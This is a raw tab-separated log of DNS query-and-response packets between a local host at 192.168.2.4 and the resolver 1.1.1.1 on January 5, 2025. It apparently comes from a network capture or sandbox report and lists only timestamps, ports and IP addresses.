Jan 5, 2025 10:51:36.308937073 CET	53	60468	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.323050022 CET	65179	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.329912901 CET	53	65179	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.331969976 CET	50592	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.339099884 CET	53	50592	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.382813931 CET	62638	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.392185926 CET	53	62638	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.394804955 CET	54586	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.403959990 CET	53	54586	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.445626974 CET	64034	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.455513000 CET	53	64034	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.461302042 CET	58489	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.481705904 CET	53	58489	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.523545027 CET	61054	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.711214066 CET	53	61054	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.716275930 CET	63472	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.809022903 CET	53	63472	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.851166010 CET	59967	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:36.943721056 CET	53	59967	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:36.946970940 CET	58746	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:37.820379972 CET	53	58746	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:37.867254972 CET	60341	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.146358013 CET	53	60341	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:38.150147915 CET	53250	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.157167912 CET	53	53250	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:38.194814920 CET	53013	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.463711023 CET	53	53013	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:38.467797995 CET	55903	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.502676010 CET	53	55903	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:38.540946960 CET	56140	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.557631969 CET	53	56140	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:38.560542107 CET	60159	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.594387054 CET	53	60159	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:38.632949114 CET	54984	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.658303976 CET	53	54984	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:38.660851955 CET	60098	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.693237066 CET	53	60098	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:38.744942904 CET	49618	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.755494118 CET	53	49618	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:38.764914036 CET	59331	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.774588108 CET	53	59331	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:38.780942917 CET	52374	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.789724112 CET	53	52374	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:38.835529089 CET	55177	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.860143900 CET	53	55177	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:38.863154888 CET	51776	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.887793064 CET	53	51776	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:38.930049896 CET	58753	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:38.966885090 CET	53	58753	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:39.010946989 CET	52988	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:39.018022060 CET	53	52988	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:39.020025015 CET	56933	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:39.027704000 CET	53	56933	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:39.069976091 CET	64248	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:39.087729931 CET	53	64248	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:39.092941999 CET	51392	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:39.101778984 CET	53	51392	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:39.148093939 CET	62281	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:39.156689882 CET	53	62281	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:39.160944939 CET	63086	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:39.170064926 CET	53	63086	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:39.210618019 CET	53404	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:39.487797976 CET	53	53404	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:39.495707035 CET	53198	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:39.776328087 CET	53	53198	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:39.820174932 CET	65357	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:39.829243898 CET	53	65357	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:39.832355022 CET	60078	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:39.841394901 CET	53	60078	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:39.883191109 CET	49209	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:39.907800913 CET	53	49209	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:39.914858103 CET	52838	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:40.018210888 CET	53	52838	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:40.076507092 CET	53287	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:40.085577011 CET	53	53287	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:40.108634949 CET	64688	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:40.116976023 CET	53	64688	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:40.123074055 CET	51274	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:40.132369041 CET	53	51274	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:40.180412054 CET	64476	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:40.199914932 CET	53	64476	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:40.219120026 CET	62211	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:40.226406097 CET	53	62211	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:40.227220058 CET	63690	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:40.234051943 CET	53	63690	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:40.276230097 CET	52182	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:40.553694963 CET	53	52182	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:40.556632996 CET	59435	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:40.744580030 CET	53	59435	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:40.788944960 CET	58802	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:41.075604916 CET	53	58802	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:41.082875967 CET	50429	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:41.354618073 CET	53	50429	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:41.399076939 CET	64862	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:41.408343077 CET	53	64862	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:41.411750078 CET	56430	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:41.421011925 CET	53	56430	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:41.460947990 CET	51111	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:41.485590935 CET	53	51111	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:41.488856077 CET	62642	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:41.512914896 CET	53	62642	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:41.554960966 CET	61223	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:41.564570904 CET	53	61223	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:41.567341089 CET	60713	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:41.576950073 CET	53	60713	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:41.618292093 CET	56117	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:41.627604008 CET	53	56117	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:41.631256104 CET	62890	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:41.641964912 CET	53	62890	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:41.679884911 CET	62877	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:41.748855114 CET	53	62877	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:41.752382040 CET	50026	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:41.793884993 CET	53	50026	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:41.836323977 CET	55853	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:42.101531029 CET	53	55853	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:42.113009930 CET	59543	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:42.171044111 CET	53	59543	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:42.211843014 CET	58082	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:42.220797062 CET	53	58082	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:42.307416916 CET	54772	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:42.316133976 CET	53	54772	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:42.351263046 CET	49531	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:42.392939091 CET	53	49531	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:42.395571947 CET	65424	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:42.436641932 CET	53	65424	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:42.479420900 CET	59622	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:42.488818884 CET	53	59622	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:42.496959925 CET	57496	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:42.505888939 CET	53	57496	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:42.538739920 CET	62738	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:42.800968885 CET	53	62738	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:42.820956945 CET	55820	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:42.856545925 CET	53	55820	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:42.898277998 CET	61393	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:42.907138109 CET	53	61393	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:42.910830021 CET	55585	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:42.928349972 CET	53	55585	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:42.961529970 CET	52411	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:42.970578909 CET	53	52411	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:42.973387957 CET	56034	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.011558056 CET	53	56034	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.056943893 CET	61614	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.065251112 CET	53	61614	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.096936941 CET	58961	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.104631901 CET	53	58961	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.108943939 CET	61312	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.116019964 CET	53	61312	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.148745060 CET	62069	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.167722940 CET	53	62069	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.240946054 CET	50904	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.249665976 CET	53	50904	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.250581980 CET	60919	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.259754896 CET	53	60919	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.304946899 CET	56281	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.325689077 CET	53	56281	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.328121901 CET	50318	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.337798119 CET	53	50318	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.384958982 CET	58681	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.394356012 CET	53	58681	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.396518946 CET	59933	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.405122995 CET	53	59933	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.444749117 CET	57742	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.461658955 CET	53	57742	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.467933893 CET	56169	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.495498896 CET	53	56169	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.541383982 CET	51269	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:43.912949085 CET	53	51269	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:43.917227030 CET	58648	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.010781050 CET	53	58648	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.054433107 CET	54096	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.078349113 CET	53	54096	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.081677914 CET	54007	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.106004000 CET	53	54007	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.150377035 CET	49622	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.158930063 CET	53	49622	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.163927078 CET	55931	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.173130989 CET	53	55931	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.211216927 CET	51017	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.221517086 CET	53	51017	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.224288940 CET	55703	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.233237982 CET	53	55703	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.273538113 CET	57619	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.299690008 CET	53	57619	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.301758051 CET	50680	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.310988903 CET	53	50680	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.351588964 CET	59392	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.361473083 CET	53	59392	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.364288092 CET	56704	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.405623913 CET	53	56704	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.444844007 CET	51037	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.454243898 CET	53	51037	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.459228039 CET	58817	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.468219042 CET	53	58817	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.507242918 CET	60802	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.522444010 CET	53	60802	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.527358055 CET	50326	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.534600973 CET	53	50326	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.572182894 CET	53017	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.594052076 CET	53	53017	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.596652985 CET	60849	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.626183033 CET	53	60849	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.663707972 CET	49592	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.704782963 CET	53	49592	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.707474947 CET	59238	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.734729052 CET	53	59238	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.773089886 CET	59352	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.793281078 CET	53	59352	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.796039104 CET	61691	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.813811064 CET	53	61691	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.852364063 CET	57156	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.873527050 CET	53	57156	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.878168106 CET	60157	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.889031887 CET	53	60157	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.929703951 CET	56276	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.945183039 CET	53	56276	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.956556082 CET	55714	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.963562012 CET	53	55714	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:44.966898918 CET	52978	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:44.974267006 CET	53	52978	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:45.008075953 CET	53496	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:45.045881987 CET	53	53496	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:45.056651115 CET	50193	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:45.063916922 CET	53	50193	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:45.064631939 CET	58798	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:45.071726084 CET	53	58798	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:45.102957010 CET	60019	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:45.112273932 CET	53	60019	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:45.114830017 CET	62385	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:45.140358925 CET	53	62385	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:45.179857016 CET	58630	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:45.959207058 CET	53	58630	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:45.965387106 CET	65374	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:45.972316027 CET	53	65374	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:46.008156061 CET	64550	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:46.016424894 CET	53	64550	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:46.022278070 CET	57141	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:46.031400919 CET	53	57141	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:46.075536013 CET	53313	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:46.100105047 CET	53	53313	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:46.107186079 CET	49259	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:46.131789923 CET	53	49259	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:46.165569067 CET	49688	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:46.183351994 CET	53	49688	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:46.196412086 CET	51458	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:46.238991976 CET	53	51458	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:46.317776918 CET	63137	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:46.332777977 CET	53	63137	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:46.378195047 CET	56105	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:46.387377977 CET	53	56105	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:46.429446936 CET	61944	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:46.692186117 CET	53	61944	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:46.695601940 CET	61366	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:46.731252909 CET	53	61366	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:46.773150921 CET	50038	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:46.797302961 CET	53	50038	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:46.803273916 CET	59210	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:47.689805031 CET	53	59210	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:47.726346970 CET	57835	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:47.746124029 CET	53	57835	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:47.767095089 CET	53675	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:47.774267912 CET	53	53675	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:47.777484894 CET	51614	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:47.784800053 CET	53	51614	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:47.819924116 CET	50755	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:47.913043022 CET	53	50755	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:47.915988922 CET	64156	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.193825960 CET	53	64156	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.225992918 CET	52612	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.244811058 CET	53	52612	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.260519981 CET	59146	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.269265890 CET	53	59146	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.272157907 CET	52764	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.279426098 CET	53	52764	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.321060896 CET	61602	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.361131907 CET	53	61602	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.370625973 CET	65465	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.379901886 CET	53	65465	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.381072044 CET	59218	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.389867067 CET	53	59218	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.429786921 CET	61152	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.440057039 CET	53	61152	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.482372046 CET	57852	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.489233971 CET	53	57852	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.540376902 CET	55509	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.549653053 CET	53	55509	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.586131096 CET	53346	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.595813990 CET	53	53346	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.618562937 CET	49584	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.639796972 CET	53	49584	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.679198027 CET	60845	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.687895060 CET	53	60845	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.691317081 CET	65036	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.700331926 CET	53	65036	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.741875887 CET	60866	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.759221077 CET	53	60866	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.762736082 CET	55193	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.771730900 CET	53	55193	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.805294037 CET	62003	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.827601910 CET	53	62003	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.830912113 CET	61086	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.860281944 CET	53	61086	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:48.967959881 CET	64422	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:48.987153053 CET	53	64422	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:49.271620035 CET	49832	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:49.280055046 CET	53	49832	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:49.282006979 CET	49498	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:49.289477110 CET	53	49498	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:49.319647074 CET	55669	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:49.377643108 CET	53	55669	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:49.380036116 CET	55248	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:49.395297050 CET	53	55248	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:49.430104017 CET	60355	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:49.439744949 CET	53	60355	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:49.442735910 CET	57899	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:49.458830118 CET	53	57899	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:49.492196083 CET	54656	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:49.504585981 CET	53	54656	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:49.509701014 CET	57733	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:49.536088943 CET	53	57733	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:49.570233107 CET	64047	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:49.759736061 CET	53	64047	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:49.763051033 CET	64190	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:49.854485035 CET	53	64190	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:49.883008003 CET	56343	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:49.928901911 CET	53	56343	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:49.932130098 CET	56757	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:49.989793062 CET	53	56757	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.023708105 CET	58690	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.036885023 CET	53	58690	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.073548079 CET	61714	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.081000090 CET	53	61714	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.087414026 CET	59084	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.094274044 CET	53	59084	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.132288933 CET	58419	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.153681040 CET	53	58419	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.159332037 CET	51135	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.167064905 CET	53	51135	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.211210966 CET	63831	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:51:50.268939972 CET	53	63831	1.1.1.1	192.168.2.4
Jan 5, 2025 10:51:50.271856070 CET	58520	53	192.168.2.4	1.1.1.1
